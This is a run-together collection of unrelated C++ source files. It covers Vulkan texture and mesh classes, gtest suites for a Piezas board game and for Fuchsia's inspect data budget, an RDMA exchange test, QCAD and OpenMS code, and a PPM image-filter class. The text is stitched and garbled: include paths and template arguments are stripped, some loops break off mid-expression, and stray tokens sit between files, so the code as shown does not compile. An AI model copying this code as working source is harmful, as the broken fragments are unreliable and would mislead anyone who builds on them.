vinfo.components.b = VK_COMPONENT_SWIZZLE_B; vinfo.components.a = VK_COMPONENT_SWIZZLE_A; vinfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; vinfo.subresourceRange.baseArrayLayer = 0; vinfo.subresourceRange.baseMipLevel = 0; vinfo.subresourceRange.layerCount = 1; vinfo.subresourceRange.levelCount = 1; VK(vkCreateImageView(Context::GetDevice(), &vinfo, nullptr, &imageView)); } void Texture2D::Resize(uint32 width, uint32 height) { if (!resizable) { Log::Fatal("[Texture2D] Texture2Ds created from a file can't be resized"); return; } RecreateImage(width, height); vinfo.image = image; VK(vkCreateImageView(Context::GetDevice(), &vinfo, nullptr, &imageView)); } } } }/** * Unit Tests for Piezas **/ #include #include "Piezas.h" class PiezasTest : public ::testing::Test { protected: PiezasTest(){} //constructor runs before each test virtual ~PiezasTest(){} //destructor cleans up after tests virtual void SetUp(){} //sets up before each test (after constructor) virtual void TearDown(){} //clean up after each test, (before destructor) }; TEST(PiezasTest, sanityCheck) { ASSERT_TRUE(true); } TEST(PiezasTest, dropOne) { Piezas myboard; Piece mypiece= myboard.dropPiece(2); ASSERT_EQ(mypiece,X); } TEST(PiezasTest, fullColumn) { Piezas myboard; myboard.dropPiece(2); myboard.dropPiece(2); myboard.dropPiece(2); Piece mypiece= myboard.dropPiece(2); ASSERT_EQ(mypiece,Blank); } TEST(PiezasTest, dropX) { Piezas myboard; Piece mypiece1= myboard.dropPiece(2); ASSERT_EQ(mypiece1,X); } TEST(PiezasTest, dropO) { Piezas myboard; myboard.dropPiece(2); Piece mypiece= myboard.dropPiece(2); ASSERT_EQ(mypiece,O); } TEST(PiezasTest, dropXrightPlace) { Piezas myboard; myboard.dropPiece(0); Piece mypiece = myboard.pieceAt(0,0); ASSERT_EQ(mypiece,X); } TEST(PiezasTest, dropORightPlace) { Piezas myboard; myboard.dropPiece(0); myboard.dropPiece(0); Piece mypiece = myboard.pieceAt(1,0); ASSERT_EQ(mypiece,O); } TEST(PiezasTest, dropOOB) { Piezas myboard; Piece mypiece= myboard.dropPiece(8); ASSERT_EQ(mypiece,Invalid); } TEST(PiezasTest, dropnegative) { Piezas myboard; Piece mypiece= myboard.dropPiece(-8); ASSERT_EQ(mypiece,Invalid); } TEST(PiezasTest, reset) { Piezas myboard; Piece mypiece= myboard.dropPiece(8); myboard.reset(); for(int row=0;row #include #include #include #ifdef USE_VERBS_API #include #else #include #endif #ifndef NDEBUG #include #endif using namespace std; using namespace sst; // #define ROWSIZE (31893) #define ROWSIZE (2048) int main() { #ifndef NDEBUG spdlog::set_level(spdlog::level::trace); #endif // input number of nodes and the local node rank std::cout << "Enter node_rank and num_nodes" << std::endl; int node_rank, num_nodes; cin >> node_rank; cin >> num_nodes; std::cout << "Input the IP addresses" << std::endl; uint16_t port = 32567; // input the ip addresses map> ip_addrs_and_ports; for(int i = 0; i < num_nodes; ++i) { std::string ip; cin >> ip; ip_addrs_and_ports[i] = {ip, port}; } std::cout << "Using the default port value of " << port << std::endl; // create all tcp connections and initialize global rdma resources #ifdef USE_VERBS_API verbs_initialize(ip_addrs_and_ports, {}, node_rank); #else lf_initialize(ip_addrs_and_ports, {}, node_rank); #endif // create read and write buffers // char *write_buf = (char *)malloc(ROWSIZE); // char *read_buf = (char *)malloc(ROWSIZE); char *write_buf = nullptr,*read_buf = nullptr; if(posix_memalign((void**)&write_buf,4096l,ROWSIZE) || posix_memalign((void**)&read_buf,4096l,ROWSIZE)){ cerr << "failed to memalign SST ROWs." << endl; return -1; } // write message (in a way that distinguishes nodes) for(int i = 0; i < ROWSIZE; ++i) { write_buf[i] = '0' + i + node_rank % 10; } write_buf[9] = 0; cout << "write buffer is " << write_buf << endl; int r_index = num_nodes - 1 - node_rank; // create the rdma struct for exchanging data #ifdef USE_VERBS_API resources *res = new resources(r_index, read_buf, write_buf, ROWSIZE, ROWSIZE); #else resources *res = new resources(r_index, read_buf, write_buf, ROWSIZE, ROWSIZE, node_rank < r_index); #endif const auto tid = std::this_thread::get_id(); // get id first uint32_t id = util::polling_data.get_index(tid); // remotely write data from the write_buf #ifdef USE_VERBS_API struct verbs_sender_ctxt sctxt; #else struct lf_sender_ctxt sctxt; #endif sctxt.set_remote_id(r_index); sctxt.set_ce_idx(id); res->post_remote_write_with_completion(&sctxt, ROWSIZE); // poll for completion while(true) { auto ce = util::polling_data.get_completion_entry(tid); if (ce) break; } sync(r_index); cout << "Buffer written by remote side is : " << read_buf << endl; for(int i = 0; i < 10; ++i) { write_buf[i] = '0' + i + node_rank % 10; } write_buf[9] = 0; cout << "write buffer is " << write_buf << endl; sync(r_index); cout << "Buffer written by remote side is : " << read_buf << endl; // // destroy resources // delete(res); // // destroy global resources // verbs_destroy(); return 0; } // Copyright 2020 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/developer/forensics/feedback_data/attachments/inspect_data_budget.h" #include #include #include "src/developer/forensics/testing/unit_test_fixture.h" #include "src/lib/files/file.h" #include "src/lib/files/path.h" #include "src/lib/files/scoped_temp_dir.h" namespace forensics { namespace feedback_data { namespace { class InspectDataBudgetTest : public UnitTestFixture { public: void MakeUnlimitedBudget() { inspect_data_budget_ = std::make_unique("non-existent_path"); } void MakeLimitedBudget() { std::string limit_data_flag_path = files::JoinPath(tmp_dir_.path(), "limit_inspect_data"); files::WriteFile(limit_data_flag_path, " "); inspect_data_budget_ = std::make_unique(limit_data_flag_path.c_str()); } void SetBudget(size_t zip_file_kb) { std::map file_size_stats; // The Inspect file must exists or else the inspect budget is disabled. file_size_stats["inspect.json"] = {0, 0}; file_size_stats["other"] = {0, zip_file_kb * 1024}; inspect_data_budget_->UpdateBudget(file_size_stats); } void SetBudget(const std::map& file_size_stats) { inspect_data_budget_->UpdateBudget(file_size_stats); } std::optional GetSizeInBytes() { return inspect_data_budget_->SizeInBytes(); } private: files::ScopedTempDir tmp_dir_; std::unique_ptr inspect_data_budget_; }; TEST_F(InspectDataBudgetTest, TestUnlimitedBudget) { MakeUnlimitedBudget(); ASSERT_FALSE(GetSizeInBytes()); // setting a budget should not do anything. SetBudget(1024); ASSERT_FALSE(GetSizeInBytes()); } TEST_F(InspectDataBudgetTest, TestLimitedBudget) { MakeLimitedBudget(); ASSERT_TRUE(GetSizeInBytes()); } TEST_F(InspectDataBudgetTest, TestForCrash_MissingSizeStats) { MakeLimitedBudget(); std::map file_size_stats; SetBudget(file_size_stats); } TEST_F(InspectDataBudgetTest, TestSizeBudget_Maintain) { MakeLimitedBudget(); ASSERT_TRUE(GetSizeInBytes()); size_t initial_budget = GetSizeInBytes().value(); SetBudget(2048); ASSERT_TRUE(GetSizeInBytes()); ASSERT_EQ(GetSizeInBytes().value(), initial_budget); } TEST_F(InspectDataBudgetTest, TestSizeBudget_UpperLimit) { MakeLimitedBudget(); ASSERT_TRUE(GetSizeInBytes()); size_t initial_budget = GetSizeInBytes().value(); SetBudget(724); ASSERT_TRUE(GetSizeInBytes()); ASSERT_EQ(GetSizeInBytes().value(), initial_budget); } TEST_F(InspectDataBudgetTest, TestSizeBudget_LowerLimit) { // Arrive at the lower limit by making the zip size 2 GB twice (this should reduce the initial // budget at most by 2^16 times). MakeLimitedBudget(); SetBudget(2 * 1024 * 1024); SetBudget(2 * 1024 * 1024); ASSERT_TRUE(GetSizeInBytes()); size_t lower_limit = GetSizeInBytes().value(); SetBudget(1024 * 1024); ASSERT_TRUE(GetSizeInBytes()); size_t new_budget = GetSizeInBytes().value(); ASSERT_TRUE(GetSizeInBytes()); ASSERT_EQ(lower_limit, new_budget); } TEST_F(InspectDataBudgetTest, TestSizeBudget_Reduce_Increase) { MakeLimitedBudget(); ASSERT_TRUE(GetSizeInBytes()); size_t initial_budget = GetSizeInBytes().value(); size_t budget = (initial_budget * 1024) / 1500; SetBudget(3000); ASSERT_TRUE(GetSizeInBytes()); ASSERT_EQ(GetSizeInBytes().value(), budget); // Note: Make sure that the geometric mean of the last zip size and the new zip size > 2MB. // Otherwise the resulting budget might be lower than our calculated value due to upper limit // restrictions. budget = (budget * 1024) / 800; SetBudget(1600); ASSERT_TRUE(GetSizeInBytes()); ASSERT_EQ(GetSizeInBytes().value(), budget); } } // namespace } // namespace feedback_data } // namespace forensics 1000+ #include "../Mutex.h" #include using std::string; muduo::MutexLock g_mutex; string g_str = "Hello"; int32_t g_int32 = 123; int64_t g_int64 = 4321; string getString() { muduo::MutexLockGuard lock(g_mutex); return g_str; } int32_t getInt32() { muduo::MutexLockGuard lock(g_mutex); return g_int32; } int64_t getInt64() { muduo::MutexLockGuard lock(g_mutex); return g_int64; } int main() { getString(); getInt32(); getInt64(); } /** * Copyright (c) 2011-2016 by . All rights reserved. * * This file is part of the QCAD project. * * QCAD is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * QCAD is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with QCAD. */ #include "RPropertyChange.h" #include "RMetaTypes.h" RPropertyChange::RPropertyChange(RPropertyTypeId propertyTypeId, QVariant oldValue, QVariant newValue) : propertyTypeId(propertyTypeId) { if (oldValue.type()==QVariant::UserType && (oldValue.canConvert >() || !oldValue.isValid()) && (newValue.canConvert >() || !newValue.isValid())) { QList oldList; if (oldValue.isValid()) { oldList = oldValue.value >(); } QList newList; if (newValue.isValid()) { newList = newValue.value >(); } QList > oldCompact; QList > newCompact; // entries were changed only: if (oldList.size() == newList.size()) { for (int i=0; i(i, oldList.at(i))); newCompact.append(QPair(i, newList.at(i))); } } } // entries were appended and possibly changed: else if (oldList.size() < newList.size()) { for (int i=0; i=oldList.size()) { oldCompact.append(QPair(i, RNANDOUBLE)); newCompact.append(QPair(i, newList.at(i))); } else if (oldList.at(i) != newList.at(i)) { oldCompact.append(QPair(i, oldList.at(i))); newCompact.append(QPair(i, newList.at(i))); } } } // entries were removed and possibly changed: else if (oldList.size() > newList.size()) { for (int i=0; i=newList.size()) { oldCompact.append(QPair(i, oldList.at(i))); newCompact.append(QPair(i, RNANDOUBLE)); } else if (oldList.at(i) != newList.at(i)) { oldCompact.append(QPair(i, oldList.at(i))); newCompact.append(QPair(i, newList.at(i))); } } } this->oldValue.setValue(oldCompact); this->newValue.setValue(newCompact); return; } else { this->oldValue = oldValue; this->newValue = newValue; return; } } QDebug operator<<(QDebug dbg, const RPropertyChange& p) { dbg.nospace() << "RPropertyChange(" << p.propertyTypeId << ", "; if (p.oldValue.canConvert > >() && p.newValue.canConvert > >()) { dbg.nospace() << "QList("; QList > oldList = p.oldValue.value > >(); QList > newList = p.newValue.value > >(); for (int i=0; i=oldList.size()) { dbg.nospace() << "[no entry] -> "; } else { dbg.nospace() << "[" << oldList.at(i).first << "," << oldList.at(i).second << "] -> "; } if (i>=newList.size()) { dbg.nospace() << "[no entry], "; } else { dbg.nospace() << "[" << newList.at(i).first << "," << newList.at(i).second << "], "; } } dbg.nospace() << ")"; } else { dbg.nospace() << p.oldValue << " -> " << p.newValue; } dbg.nospace() << ")"; return dbg.space(); } // -------------------------------------------------------------------------- // OpenMS -- Open-Source Mass Spectrometry // -------------------------------------------------------------------------- // Copyright The OpenMS Team -- Eberhard Karls University Tuebingen, // ETH Zurich, and Freie Universitaet Berlin 2002-2016. // // This software is released under a three-clause BSD license: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of any author or any participating institution // may be used to endorse or promote products derived from this software // without specific prior written permission. // For a full list of authors, refer to the file AUTHORS. // -------------------------------------------------------------------------- // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING // INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; // OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, // WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF // ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // -------------------------------------------------------------------------- // $Maintainer: $ // $Authors: $ // -------------------------------------------------------------------------- #include #include #include using namespace OpenMS; START_TEST(MultiplexFilterResultRaw, "$Id$") std::vector mz_shifts; mz_shifts.push_back(0); mz_shifts.push_back(0.501677); mz_shifts.push_back(3.01591); mz_shifts.push_back(3.51759); std::vector intensities; intensities.push_back(1789.0714); intensities.push_back(1492.1012); intensities.push_back(333.1105); intensities.push_back(325.0520); MultiplexFilterResultRaw* nullPointer = 0; MultiplexFilterResultRaw* ptr; START_SECTION(MultiplexFilterResultRaw(double mz, std::vector mz_shifts, std::vector intensities)) MultiplexFilterResultRaw result(817.0411, mz_shifts, intensities); TEST_EQUAL(result.getMZ(), 817.0411); ptr = new MultiplexFilterResultRaw(817.0411, mz_shifts, intensities); TEST_NOT_EQUAL(ptr, nullPointer); delete ptr; END_SECTION MultiplexFilterResultRaw result(817.0411, mz_shifts, intensities); START_SECTION(double getMZ() const) TEST_EQUAL(result.getMZ(), 817.0411); END_SECTION START_SECTION(std::vector getMZShifts() const) TEST_EQUAL(result.getMZShifts()[0], 0); TEST_EQUAL(result.getMZShifts()[1], 0.501677); TEST_EQUAL(result.getMZShifts()[2], 3.01591); TEST_EQUAL(result.getMZShifts()[3], 3.51759); END_SECTION START_SECTION(std::vector getIntensities() const) TEST_EQUAL(result.getIntensities()[0], 1789.0714); TEST_EQUAL(result.getIntensities()[1], 1492.1012); TEST_EQUAL(result.getIntensities()[2], 333.1105); TEST_EQUAL(result.getIntensities()[3], 325.0520); END_SECTION END_TEST // args-parser include. #include using namespace Args; int main( int argc, char ** argv ) { try { CmdLine cmd( argc, argv, CmdLine::CommandIsRequired ); cmd.addCommand( "add", ValueOptions::NoValue, true, "Add file." ) .addCommand( "file", ValueOptions::ManyValues, false, "File name.", "", "", "fn" ) .end() .end() .addCommand( "delete", ValueOptions::NoValue, true, "Delete file." ) .addCommand( "file", ValueOptions::ManyValues, false, "File name.", "", "", "fn" ) .end() .end() .addHelp( true, argv[ 0 ], "This application just show power of the args-parser help." ); cmd.parse(); if( cmd.isDefined( "file" ) ) for( const auto & fn : cmd.values( "file" ) ) outStream() << fn << "\n"; } catch( const HelpHasBeenPrintedException & ) { return 0; } catch( const BaseException & x ) { outStream() << x.desc() << "\n"; return 1; } return 0; } #include "ppm_image.h" #include #include #include using namespace agl; using namespace std; ppm_image::ppm_image() { wid = 0; hgt = 0; } ppm_image::ppm_image(int w, int h) { wid = w; hgt = h; } ppm_image::ppm_image(const ppm_image& orig) { wid = orig.width(); hgt = orig.height(); image_arr = new ppm_pixel[wid*hgt]; for (int i = 0; i < wid*hgt; i++) { image_arr[i] = orig.image_arr[i]; } } ppm_image& ppm_image::operator=(const ppm_image& orig) { if (&orig == this) // protect against self-assignment { return *this; } delete[] image_arr; wid = orig.width(); hgt = orig.height(); image_arr = new ppm_pixel[wid*hgt]; for (int i = 0; i < wid*hgt; i++) { image_arr[i] = orig.image_arr[i]; } return *this; } ppm_image::~ppm_image() { delete[] image_arr; } bool ppm_image::load(const std::string& filename) { ifstream file(filename); if(!file) { cout << "Cannot load file: " << filename << endl; return false; } string imgType; file >> imgType; int maxColor; int numPixels = 0; if(imgType == "P3") { file >> wid; file >> hgt; file >> maxColor; delete[] image_arr; image_arr = new ppm_pixel[wid*hgt]; numPixels = wid*hgt; int r,g,b; for(int i = 0; i < numPixels; i++) { file >> r >> g >> b; image_arr[i] = ppm_pixel{(unsigned char)r,(unsigned char)g,(unsigned char)b}; } } file.close(); return true; } bool ppm_image::save(const std::string& filename) const { ofstream file; file.open(filename); if(!file.is_open()) { cout << "Cannot open file: " << filename << endl; return false; } file << "P3\n" << wid << " " << hgt << "\n" << "255\n"; int numPixels = wid*hgt; for(int i = 0; i < numPixels; i++) { file << (int)image_arr[i].r << " "; file << (int)image_arr[i].g << " "; file << (int)image_arr[i].b << " "; } file.close(); return true; } ppm_image ppm_image::resize(int w, int h) const { ppm_image result(w,h); result.image_arr = new ppm_pixel[w*h]; int row1; int row2; int col1; int col2; ppm_pixel pixel; for(int i = 0; i < w*h; i++) { //calculate row and column number of new image row2 = floor(i/w); col2 = i%w; //formula based on ratios row1 = floor(((float)row2/(h-1))*(hgt-1)); col1 = floor((float)col2/(w-1)*(wid-1)); //pixel in original image pixel = image_arr[wid*row1 + col1]; result.image_arr[i] = pixel; } return result; } ppm_image ppm_image::flip_horizontal() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; int row1; int row2; int col; for(int i = 0; i < wid*hgt; i++) { row1 = floor(i/wid); //new row is height of image - old row row2 = hgt-row1; col = i%wid; pixel = image_arr[i]; result.set(row2,col,pixel); } return result; } ppm_image ppm_image::subimage(int startx, int starty, int w, int h) const { ppm_image result(w,h); result.image_arr = new ppm_pixel[w*h]; ppm_pixel pixel; int i = 0; //iterates through limited portion of original image for(int row = starty; row < starty + h; row++) { for(int col = startx; col < startx + w; col++) { pixel = this->get(row,col); result.image_arr[i] = pixel; i++; } } return result; } void ppm_image::replace(const ppm_image& image, int startx, int starty) { int h = image.height(); int w = image.width(); int i = 0; ppm_pixel pixel; for(int row = starty; row < starty + h; row++) { //if row is out of range of original image dimensions, continue if(row >= wid) { continue; } for(int col = startx; col < startx + w; col++) { if(col >= hgt) { i++; continue; } pixel = image.image_arr[i]; this->set(row,col,pixel); i++; } } } ppm_image ppm_image::alpha_blend(const ppm_image& other, float alpha) const { ppm_image result(wid, hgt); ppm_pixel pixel1; ppm_pixel pixel2; result.image_arr = new ppm_pixel[wid*hgt]; int r,g,b,r1,g1,b1,r2,b2,g2; for(int i = 0; i < wid*hgt; i++) { pixel1 = image_arr[i]; pixel2 = other.image_arr[i]; r1 = (int)pixel1.r; g1 = (int)pixel1.g; b1 = (int)pixel1.b; r2 = (int)pixel2.r; g2 = (int)pixel2.g; b2 = (int)pixel2.b; r = 255*((r1/255.0)*(1-alpha)+(r2/255.0)*alpha); g = 255*((g1/255.0)*(1-alpha)+(g2/255.0)*alpha); b = 255*((b1/255.0)*(1-alpha)+(b2/255.0)*alpha); result.image_arr[i] = ppm_pixel{(unsigned char)r,(unsigned char)g,(unsigned char)b}; } return result; } ppm_image ppm_image::gammaCorrect(float gamma) const { ppm_image result(wid, hgt); ppm_pixel pixel; result.image_arr = new ppm_pixel[wid*hgt]; int r,g,b; for(int i = 0; i < wid*hgt; i++) { pixel = image_arr[i]; r = (int)pixel.r; g = (int)pixel.g; b = (int)pixel.b; r = 255*pow(r/255.0, 1.0/gamma); g = 255*pow(g/255.0, 1.0/gamma); b = 255*pow(b/255.0, 1.0/gamma); result.image_arr[i] = ppm_pixel{(unsigned char)r,(unsigned char)g,(unsigned char)b}; } return result; } ppm_image ppm_image::grayscale() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; unsigned char weightedAvg; for(int i = 0; i < wid*hgt; i++) { pixel = image_arr[i]; weightedAvg = (unsigned char)(0.3*pixel.r+0.59*pixel.g+0.11*pixel.b); result.image_arr[i] = {weightedAvg, weightedAvg, weightedAvg}; } return result; } ppm_image ppm_image::invert() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; for(int i = 0; i < wid*hgt; i++) { pixel = image_arr[i]; result.image_arr[i] = ppm_pixel{(unsigned char)(255-pixel.r), (unsigned char)(255-pixel.g),(unsigned char)(255-pixel.b)}; } return result; } ppm_image ppm_image::sobel() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; int left, right, up, down; int row, col; int r1, g1, b1, r2, g2, b2, r, g, b; for(int i = 0; i < wid*hgt; i++) { row = floor(i/wid); col = i%wid; left = col-1; right = col+1; up = row-1; down = row+1; //limit index values if they are outside range of image if(left < 0) { left = 0; } if(up < 0) { up = 0; } if(right >= this->width()) { right = this->width()-1; } if(down >= this->height()) { down = this->height()-1; } //do calculation using two kernels and given formula r1 = (int)this->get(up, left).r - (int)this->get(up, right).r + 2*(int)this->get(row, left).r - 2*(int)this->get(row, right).r + (int)this->get(down, left).r - (int)this->get(down, right).r; g1 = (int)this->get(up, left).g - (int)this->get(up, right).g + 2*(int)this->get(row, left).g - 2*(int)this->get(row, right).g + (int)this->get(down, left).g - (int)this->get(down, right).g; b1 = (int)this->get(up, left).b - (int)this->get(up, right).b + 2*(int)this->get(row, left).b - 2*(int)this->get(row, right).b + (int)this->get(down, left).b - (int)this->get(down, right).b; r2 = (int)this->get(up, left).r + 2*(int)this->get(up, col).r + (int)this->get(up, right).r - (int)this->get(down, left).r - 2*(int)this->get(down, col).r - (int)this->get(down, right).r; g2 = (int)this->get(up, left).g + 2*(int)this->get(up, col).g + (int)this->get(up, right).g - (int)this->get(down, left).g - 2*(int)this->get(down, col).g - (int)this->get(down, right).g; b2 = (int)this->get(up, left).b + 2*(int)this->get(up, col).b + (int)this->get(up, right).b - (int)this->get(down, left).b - 2*(int)this->get(down, col).b - (int)this->get(down, right).b; r = pow(r1,2) + pow(r2, 2); r = int(pow(r, 0.5)); g = pow(g1,2) + pow(g2, 2); g = int(pow(g, 0.5)); b = pow(b1,2) + pow(b2, 2); b = int(pow(b, 0.5)); r = limit_value(r); g = limit_value(g); b = limit_value(b); result.set(row,col,ppm_pixel{(unsigned char)r,(unsigned char)g,(unsigned char)b}); } return result; } ppm_image ppm_image::box_blur() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; int left, right, up, down; int row, col; int r, g, b; float weight = 1.0/9.0; for(int i = 0; i < wid*hgt; i++) { row = floor(i/wid); col = i%wid; left = col-1; right = col+1; up = row-1; down = row+1; if(left < 0) { left = 0; } if(up < 0) { up = 0; } if(right >= this->width()) { right = this->width()-1; } if(down >= this->height()) { down = this->height()-1; } //each pixel is the average of its neighbors r = weight*(this->get(up, left).r + this->get(up, col).r + this->get(up, right).r + this->get(row, left).r + this->get(row, col).r + this->get(row, right).r + this->get(down, left).r + this->get(down, col).r + this->get(down, right).r); g = weight*(this->get(up, left).g + this->get(up, col).g + this->get(up, right).g + this->get(row, left).g + this->get(row, col).g + this->get(row, right).g + this->get(down, left).g + this->get(down, col).g + this->get(down, right).g); b = weight*(this->get(up, left).b + this->get(up, col).b + this->get(up, right).b + this->get(row, left).b + this->get(row, col).b + this->get(row, right).b + this->get(down, left).b + this->get(down, col).b + this->get(down, right).b); r = limit_value(r); g = limit_value(g); b = limit_value(b); result.set(row,col,ppm_pixel{(unsigned char)r,(unsigned char)g,(unsigned char)b}); } return result; } ppm_image ppm_image::swirl_colors() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; unsigned char r,g,b; for(int i = 0; i < wid*hgt; i++) { pixel = image_arr[i]; //rotate color channels r = pixel.g; g = pixel.b; b = pixel.r; result.image_arr[i] = ppm_pixel{r,g,b}; } return result; } ppm_image ppm_image::swirl_colors2() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; unsigned char r,g,b; for(int i = 0; i < wid*hgt; i++) { pixel = image_arr[i]; //rotate color channels r = pixel.b; g = pixel.r; b = pixel.g; result.image_arr[i] = ppm_pixel{r,g,b}; } return result; } ppm_image ppm_image::rainbow() const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; ppm_pixel pixel; int row; //draw horizontal rainbow stripes, thickness based on height of image for(int i = 0; i < wid*hgt; i++) { row = floor(i/wid); pixel = image_arr[i]; if(row < hgt/6.0) { //red result.image_arr[i] = ppm_pixel{255, 0, 0}; } else if(row < 2*hgt/6.0) { //orange result.image_arr[i] = ppm_pixel{255, 128, 0}; } else if(row < 3*hgt/6.0) { //yellow result.image_arr[i] = ppm_pixel{255, 255, 0}; } else if(row < 4*hgt/6.0) { //green result.image_arr[i] = ppm_pixel{0, 255, 0}; } else if(row < 5*hgt/6.0) { //blue result.image_arr[i] = ppm_pixel{0, 0, 255}; } else { //purple result.image_arr[i] = ppm_pixel{128, 0, 255}; } } //use alpha blend to overlay rainbow image on original image result = this->alpha_blend(result, 0.3f); return result; } ppm_image ppm_image::black_border(int thickness) const { ppm_image result(wid,hgt); result.image_arr = new ppm_pixel[wid*hgt]; int row,col; for(int i = 0; i < wid*hgt; i++) { row = floor(i/wid); col = i%wid; //if pixel is on the edge of image, color in black if(row < thickness || row > hgt - thickness || col < thickness || col > wid - thickness) { result.image_arr[i] = ppm_pixel{0,0,0}; } else { result.image_arr[i] = image_arr[i]; } } return result; } ppm_image ppm_image::combine(const ppm_image& other) const { int wid2 = other.width(); int hgt2 = other.height(); if(hgt != hgt2){ cout << "incompatible heights" << endl; //return empty ppm_image object if heights are not the same return ppm_image(); } ppm_image result(wid+wid2,hgt); result.image_arr = new ppm_pixel[(wid+wid2)*hgt]; int row,col; ppm_pixel pixel; for(int i = 0; i < (wid+wid2)*hgt; i++) { row = floor(i/(wid+wid2)); col = i%(wid+wid2); //if column number is less than the width of original image, set pixel of original image if(colget(row,col); result.set(row,col,pixel); //if column number is greater than the width of original image, set pixel to second image } else { pixel = other.get(row,col-wid); result.set(row,col,pixel); } } return result; } int ppm_image::limit_value(int value) const { if(value > 255) { return 255; } else if(value < 0) { return 0; } else { return value; } } ppm_pixel ppm_image::get(int row, int col) const { //Row i, column j in 2d array corresponds to image[column_count*i + j] return image_arr[wid*row + col]; } void ppm_image::set(int row, int col, const ppm_pixel& c) { image_arr[wid*row + col] = c; } int ppm_image::height() const { return hgt; } int ppm_image::width() const { return wid; }// File : DataHDFTest.cpp // Created : Wed Jun 09 2021 05:41:14 PM (+0200) // Author : // Description: Block data HDF IO // Copyright 2021 ETH Zurich. All Rights Reserved. #include "Cubism/Block/Field.h" #include "Cubism/IO/Data.h" #include "gtest/gtest.h" #include namespace { using namespace Cubism; TEST(IO, DataWriteUniformHDF) { using CellField = Block::CellField; using NodeField = Block::NodeField; using IRange = typename CellField::IndexRangeType; IRange elements(8); { // cell field CellField f(elements); std::iota(f.begin(), f.end(), 0); IO::DataWriteUniformHDF( "ucdata", "data", static_cast(f)); } { // node field NodeField f(elements); std::iota(f.begin(), f.end(), 0); IO::DataWriteUniformHDF( "undata", "data", static_cast(f)); } } } // namespace 0 #include "vulkan_meshes.hpp" #include "vulkan_context.hpp" // VulkanMeshMatObj::VulkanMeshMatObj VulkanMeshMatObj::VulkanMeshMatObj( VulkanContext& context, std::vector& pos, std::vector& tex, std::vector& nrm) : VulkanMeshMaterial(context) { // create buffers vulkanBufferCreate(context.device, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(pos), &bufferPos); vulkanBufferCreate(context.device, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(tex), &bufferTex); vulkanBufferCreate(context.device, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(nrm), &bufferNrm); // write buffers vulkanBufferWrite(context.device, bufferPos, 0, VKT_VECTOR_DATA_SIZE(pos), pos.data()); vulkanBufferWrite(context.device, bufferTex, 0, VKT_VECTOR_DATA_SIZE(tex), tex.data()); vulkanBufferWrite(context.device, bufferNrm, 0, VKT_VECTOR_DATA_SIZE(nrm), nrm.data()); vertexCount = (uint32_t)pos.size(); // setup buffer handles and offsets bufferHandles = { bufferPos.buffer, bufferTex.buffer, bufferNrm.buffer }; bufferOffsets = { 0, 0, 0 }; } // VulkanMeshMatObj::~VulkanMeshMatObj VulkanMeshMatObj::~VulkanMeshMatObj() { // destroy buffers vulkanBufferDestroy(context.device, bufferNrm); vulkanBufferDestroy(context.device, bufferTex); vulkanBufferDestroy(context.device, bufferPos); } // VulkanMeshMatObj::draw void VulkanMeshMatObj::draw(VulkanCommandBuffer& commandBuffer) { // bind and draw vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 0, (uint32_t)bufferHandles.size(), bufferHandles.data(), bufferOffsets.data()); vkCmdDraw(commandBuffer.commandBuffer, vertexCount, 1, 0, 0); } ////////////////////////////////////////////////////////////////////////// // VulkanMeshMatObjIndexed::VulkanMeshMatObjIndexed VulkanMeshMatObjIndexed::VulkanMeshMatObjIndexed( VulkanContext& context, std::vector& pos, std::vector& tex, std::vector& nrm, std::vector& ind) : VulkanMeshMatObj(context, pos, tex, nrm) { // create index buffer vulkanBufferCreate(context.device, VK_BUFFER_USAGE_INDEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(ind), &bufferInd); // write index buffers vulkanBufferWrite(context.device, bufferInd, 0, VKT_VECTOR_DATA_SIZE(ind), ind.data()); indexCount = (uint32_t)ind.size(); } // VulkanMeshMatObjIndexed::~VulkanMeshMatObjIndexed VulkanMeshMatObjIndexed::~VulkanMeshMatObjIndexed() { 